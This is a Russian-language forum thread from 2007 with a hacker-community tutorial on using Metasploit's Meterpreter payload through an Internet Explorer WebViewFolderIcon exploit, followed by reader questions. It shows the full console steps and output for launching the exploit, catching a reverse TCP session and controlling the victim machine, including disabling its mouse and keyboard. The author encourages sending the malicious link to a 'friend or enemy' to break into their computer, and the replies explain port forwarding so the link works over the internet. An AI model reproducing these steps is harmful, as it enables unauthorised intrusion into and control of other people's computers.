Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Учимся юзать Мeterpreter (Или Metasploit Framework часть 4) (https://forum.antichat.xyz/showthread.php?t=32452)

-=lebed=- 31.01.2007 17:32

Учимся юзать Мeterpreter (Или Metasploit Framework часть 4)
 
Учимся юзать Мeterpreter (Или Metasploit Framework часть 4)

Предисловие.

Если в первый раз слышите слова Мeterpreter, Metasploit Framework - то рекомендую почитать мои предыдущие статьи по Метасплоиту (ссылки на них можно найти у меня в подписи). Если их читали то можете читать дальше.
Всё описанное в статье справедливо для версии 3.0 beta 3

1. Что такое Мeterpreter?
В Предыдущих статьях (№3) частично этот вопрос поднимался и было дано определение данного понятия, но всё же я повторюсь и скажу своими словами: Мeterpreter - это особый полезный груз (начинка эксплоита) которая может выполнять не какую-либо конкретную задачу, а много функций. Даже если сравнивать его с каким-либо шелл`ом, мы увидим что он есть только для виндос и очень похож на обычный cmd-шелл.
Ну да ладно, перейдём от теории к практике, запустим консоль, посмотрим что мы имеем (команда show).
Код:

msf > show

Encoders
========
 
----------пропущено-----------------     
     
NOP Generators
==============
----------пропущено-----------------         

Exploits
========

  Name                                      Description                                                         
  ----                                      -----------                                                         
----------пропущено-----------------
  windows/browser/webview_setslice          Internet Explorer WebViewFolderIcon setSlice() Overflow             
----------пропущено-----------------                           


Payloads
========
----------пропущено-----------------
  Name                                  Description                                                                     
  ----                                  -----------                                                                     
  windows/meterpreter/bind_tcp          Windows Meterpreter, Bind TCP Stager                                           
  windows/meterpreter/find_tag          Windows Meterpreter, Find Tag Ordinal Stager                                   
  windows/meterpreter/reverse_http      Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager                     
  windows/meterpreter/reverse_ord_tcp    Windows Meterpreter, Reverse Ordinal TCP Stager                                 
  windows/meterpreter/reverse_tcp        Windows Meterpreter, Reverse TCP Stager                                         

Auxiliary
=========

  Name                                Description                                               
  ----                                -----------                                               
----------пропущено-----------------

2. Выбираем сплоит.
Я буду показывать на примере эксплоита windows/browser/webview_setslice (буду использовать его).

3. Выбираем начинку (собственно meterpreter - ему и посвящена статья)
Как мы видим meterpreter есть только для виндос (по типу соединения 5 шт.)
Ну, ИМХО, по названию понятно, какой что делает, но всё же, для тех кто в танке, поясню:
Код:

Windows Meterpreter, Bind TCP Stager - тупо биндит порт Stager (Stage - стадия, ну в русском нет перевода, назову стэйжер)                                           
Windows Meterpreter, Find Tag Ordinal Stager -  ищет порядковый тэг стэйжера                                 
Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager - Пассивное реверсное http-туннелирование стэйжера                     
Windows Meterpreter, Reverse Ordinal TCP Stager - Реверсный  порядковый TCP стэйжер
Windows Meterpreter, Reverse TCP Stager - Реверсный TCP стэйжер (аналог старого доброго реверс-шелла, по типу соединения)

Ну вроде прояснили, я буду использовать Reverse TCP Stager, и так выбираем сплоит и смотрим по нём инфу:
Код:

msf > use windows/browser/webview_setslice
msf exploit(webview_setslice) > info

      Name: Internet Explorer WebViewFolderIcon setSlice() Overflow
    Version: 3783
  Platform: Windows
 Privileged: No
    License: Metasploit Framework License v1.0

Provided by:
  hdm <hdm@metasploit.com>

Available targets:
  Id  Name                                   
  --  ----                                   
  0  Windows XP SP0-SP2 / IE 6.0SP1 English 

Basic options:
  Name    Current Setting  Required  Description                                         
  ----    ---------------  --------  -----------                                         
  SRVHOST  10.0.3.44        yes      The local host to listen on.                       
  SRVPORT  8080            yes      The local port to listen on.                       
  URIPATH                  no        The URI to use for this exploit (default is random) 

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a flaw in the WebViewFolderIcon ActiveX control
  included with Windows 2000, Windows XP, and Windows 2003. This flaw
  was published during the Month of Browser Bugs project (MoBB #18).

References:
  http://www.osvdb.org/27110
  http://www.securityfocus.com/bid/19030
  http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html

Так, WINDOWS-XP SP2 входит в число уязвимых - то что надо (под виртуалкой у меня есть такая жертва)
Параметры меня устаривают - оставлю их по умолчанию. (URIPATH - красавец, но пусть будет случайный)

4.Эксплуатируем.
Прикручиваем начинку - наш загадочный windows/meterpreter/reverse_tcp
Код:

msf exploit(webview_setslice) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Нормально прикрутилась, пора командовать exploit
Код:

msf exploit(webview_setslice) > exploit

[-] Exploit failed: The following options failed to validate: LHOST.

Ах, да, забыли про параметр начинки LHOST, исправим:
Код:

msf exploit(webview_setslice) > set LHOST 10.0.3.44
LHOST => 10.0.3.44
msf exploit(webview_setslice) > exploit
[*] Started reverse handler
[*] Using URL: http://10.0.3.44:8080/Ey3GEWD0B6Q3W9dDr1uDIefKjrAfZlcfs
[*] Server started.
[*] Exploit running as background job.

Всё, эксплоит запущен, веб-сервер метасплоита ждёт подключения клиента (жертвы) тут: http://10.0.3.44:8080/Ey3GEWD0B6Q3W9dDr1uDIefKjrAfZlcfs
Заходим в нашу гостевую ОС WIN-XP-SP2 (ну а вы можете впаривать ссылку, предварительно её закодировав, если надо, другу/врагу, в надежде пролезть в его комп), запускаем многострадальный IE и заходим по ссылке.
Через некоторое время (имхо, сплоит на переполнение) наблюдаем в консоли это:
Код:

msf exploit(webview_setslice) > [*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.0.3.44:4444 -> 10.0.3.68:1028)

Попробую перевести что происходит:
Передача промежуточного звена стэйжера для стадии с завышенными размерами (короче сами переведёте)...(89 bytes)
Отправка стэйжера (2834 bytes)
Бездействие перед обработкой стадии
Заливка DLL (73739 bytes)...
Заливка закончена.
Meterpreter сессия 1 открыта (понятно между кем и чем)
Ну это всё детали... главное результат! К нам подсоединился наш клиент-жертва, жмём enter в консоли, набираем sessions -i 1
Код:

msf exploit(webview_setslice) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Всё, мы в нашем загадочном meterpreter, интересно а что тут можно сделать? В самый раз скомандовать help ! (конечно все команды meterpreter лучше знать заранее)
Код:

meterpreter > help

Core Commands
=============

    Command      Description                               
    -------      -----------                               
    ?            Help menu                                 
    channel      Displays information about active channels 
    close        Closes a channel                           
    exit          Terminate the meterpreter session         
    help          Help menu                                 
    interact      Interacts with a channel                   
    irb          Drop into irb scripting mode               
    migrate      Migrate the server to another process     
    quit          Terminate the meterpreter session         
    read          Reads data from a channel                 
    run          Executes a meterpreter script             
    use          Load a one or more meterpreter extensions 
    write        Writes data to a channel                   


Stdapi: File system Commands
============================

    Command      Description                               
    -------      -----------                               
    cat          Read the contents of a file to the screen 
    cd            Change directory                         
    download      Download a file or directory             
    edit          Edit a file                               
    getwd        Print working directory                   
    ls            List files                               
    mkdir        Make directory                           
    pwd          Print working directory                   
    rmdir        Remove directory                         
    upload        Upload a file or directory               


Stdapi: Networking Commands
===========================

    Command      Description                             
    -------      -----------                             
    ipconfig      Display interfaces                       
    portfwd      Forward a local port to a remote service 
    route        View and modify the routing table       


Stdapi: System Commands
=======================

    Command      Description                                         
    -------      -----------                                         
    execute      Execute a command                                   
    getpid        Get the current process identifier                   
    getuid        Get the user that the server is running as           
    kill          Terminate a process                                 
    ps            List running processes                               
    reboot        Reboots the remote computer                         
    reg          Modify and interact with the remote registry         
    rev2self      Calls RevertToSelf() on the remote machine           
    shutdown      Shuts down the remote computer                       
    sysinfo      Gets information about the remote system, such as OS 


Stdapi: User interface Commands
===============================

    Command      Description                                                 
    -------      -----------                                                 
    idletime      Returns the number of seconds the remote user has been idle 
    uictl        Control some of the user interface components

Ого сколько команд! Класс! Все команды сгруппированы по типу, что очень удобно.

5. Внутри Мeterpreter(лазаем по чужому компу)!
Ну описывать сейчас каждую я не буду, имхо для знающих людей хелпа на английском достаточно. Попробуем что-нибудь из этих команд, посмотрим например версию ОС:
Код:

meterpreter > sysinfo
Computer: TEST3
OS      : Windows XP (Build 2600, Service Pack 2).

Компьютер с именем TEST3 и с виндой xp-sp2 - всё верно. Посмотрим конфигурацию сети:
Код:

meterpreter > ipconfig

Intel 21140-Based PCI Fast Ethernet  адаптер (Универсальный)
Hardware MAC: 00:03:ff:f6:fd:00
IP Address  : 10.0.3.68
Netmask    : 255.0.0.0

Ну и что, скажете вы, все эти команды можно сделать и в обычном реверс-шелле... Некоторые, но не все...
Выключим у юзверя например мышку ;-)
Код:

meterpreter > uictl
Usage: uictl [enable/disable] [keyboard/mouse]
meterpreter > uictl disable mouse
Disabling mouse...
meterpreter >

Проверим - правда перестала работать ;-), Ну тогда и клаву тоже отрубим:
Код:

meterpreter > uictl disable keyboard
Disabling keyboard...
meterpreter >

Проверили - тоже не пашет (бедный ваш друг/враг оставшийся без интерфейсов управления своим компом ;-), Для более продвинутых будут интересны конечно следующие команды:
Код:

    irb          Drop into irb scripting mode ------------ уйти в IRB-скрипт режим (Понравится знающим язык Руби)             
    migrate      Migrate the server to another process --- миграция сервера в другой процесс     
    quit          Terminate the meterpreter session ------- уничтожение сессии  meterpreter`а       
    read          Reads data from a channel --------------- прочитать данные из канала                 
    run          Executes a meterpreter script ----------- запустить скрипт meterpreter`а             
    use          Load a one or more meterpreter extensions загрузить одно или более расширений meterpreter`а 
    write        Writes data to a channel ---------------- писать данные в канал

Использование этих команд - тема отдельной статьи, так как функциональность meterpreter можно с помощью них динамически (во время сессии) наращивать...

Заключение.
Ну вот и всё, не так оказался страшен зверь как его именуют, вполне рабочий, многофункциональный шелл для винды, открывающий практически безграничную власть над компом юзверя.
Удачи всем в использовании meterpreter!

Ю_ЗвЕРь 01.02.2007 00:58

Цитата:

Попробую перевести что происходит:
Передача промежуточного звена стэйжера для стадии с завышенными размерами (короче сами переведёте)...(89 bytes)
хех.)
Улыбнуло. За труды благодарность.

BrutAino 25.04.2007 22:39

Код:

[*] Starting interaction with 1...
>>


(running)

Ждём...
Ждём...
Ждём...
И ничего не происходит =)
В чём проблема?

marioBY 06.08.2007 23:46

Прошу прощения если мой вопрос покажется Вам глупым, но всетаки... У меня ADSL модем, мой локальный ip имеет обычный вид 192.168.1.33
Если при создании explot изменить LHOST на мой внешний ip 84.186.хх.ххх то сервер не стартует. Собственно сам вопрос: Как и, что нужно менять в настройках при создании exploit чтобы впариваемая ссылка имела вид [*] Using URL: http:// 84.186.хх.ххх:8080 вместо [*] Using URL: http:// 192.168.1.33 :8080. Надеюсь Вам понятен смысл моего вопроса. И за ранее прошу прощения если я тут спросил бональную чушь.

-=lebed=- 07.08.2007 09:07

Есть LHOST у сплоита, а есть RHOST У начинки (например реверсшелл-начинка должна знать куда коннектится)
1. Сплоит всегда висит у тебя на локалхосте, т.е. на http:// 192.168.1.33:8080. - это правильно.
2. В конфигураторе модема ты должен настроить редирект с внешниго IP на внутренний., т.е. переадресовывать пакеты по всем портам приходящие из вне на 84.186.хх.ххх --> 192.168.1.33:8080. Тогда можно будет впарить ссылку содержащюю внешний IP, в этом случае запрос будет переадресован на внутренний IP, т.е. web-серверу метасплоита.
ЗЫ Обо всём этом есть в предыдущих статьях (не раз описывалось).

marioBY 07.08.2007 13:21

Цитата:

Сообщение от -=lebed=-
Есть LHOST у сплоита, а есть RHOST У начинки (например реверсшелл-начинка должна знать куда коннектится)
1. Сплоит всегда висит у тебя на локалхосте, т.е. на http:// 192.168.1.33:8080. - это правильно.
2. В конфигураторе модема ты должен настроить редирект с внешниго IP на внутренний., т.е. переадресовывать пакеты по всем портам приходящие из вне на 84.186.хх.ххх --> 192.168.1.33:8080. Тогда можно будет впарить ссылку содержащюю внешний IP, в этом случае запрос будет переадресован на внутренний IP, т.е. web-серверу метасплоита.
ЗЫ Обо всём этом есть в предыдущих статьях (не раз описывалось).

Прошу прощения за наглость, возможно я не совсем внимательно читал статьи в которых ты об этом говорил, если тебя не затруднит ткни носом в ссылку где описывается как сделать редирект. Или напиши в этой теме. За ранее огромное спаибо и ещё раз прошу прощения.

-=lebed=- 07.08.2007 13:27

Напиши какой мопед у тебя, ведь я же не знаю, поэтому и ссылку не могу дать.
А в краце всё очень просто: заходишь броузером в web-кофигуратор мопеда (если по-умолчанию, то IP его 192.168.1.1, авторизуешься, т.е. вводишь пасс или имя и пасс, топаешь в NAT и там прописываешь свой внутренний IP в портах указываешь Аll или там есть строка специальная для всех портов, туда вписываешь свой IP компа (внутренний). Всё- редирект настроен... Только в этом случае все сетевые сервисы которые крутятся у тебя на компе 'светят" в Инет и если какие-либо уязвимы, то свой комп ты подвергаешь риску быть похекнутым..Поэтому лучше открыть (редиректить) только определённые порты: в частности для web-сервера Метасплоита 8080, а вот для реверсшелла не угадаешь (по случайным портам коннект происходит).


Время: 19:42